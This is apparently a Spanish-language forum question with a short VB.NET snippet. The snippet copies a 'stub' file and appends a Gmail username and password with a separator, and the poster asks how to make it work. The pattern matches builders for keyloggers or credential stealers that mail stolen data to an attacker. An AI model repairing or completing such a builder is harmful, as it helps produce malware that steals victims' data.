Código:
FileOpen(1, Application.StartupPath & "\" & stub, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = stub.PadLeft(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, Application.StartupPath + "\" + fileOut, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & UserGmail & FileSplit & PassGmail & FileSplit)
FileClose(1)
Hay alguna forma de modificar el código para que funciones?
Ah, utilizo Visual Studio 2008